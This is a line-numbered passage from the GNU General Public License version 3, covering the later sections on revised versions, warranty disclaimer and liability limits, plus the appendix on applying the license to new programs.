a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------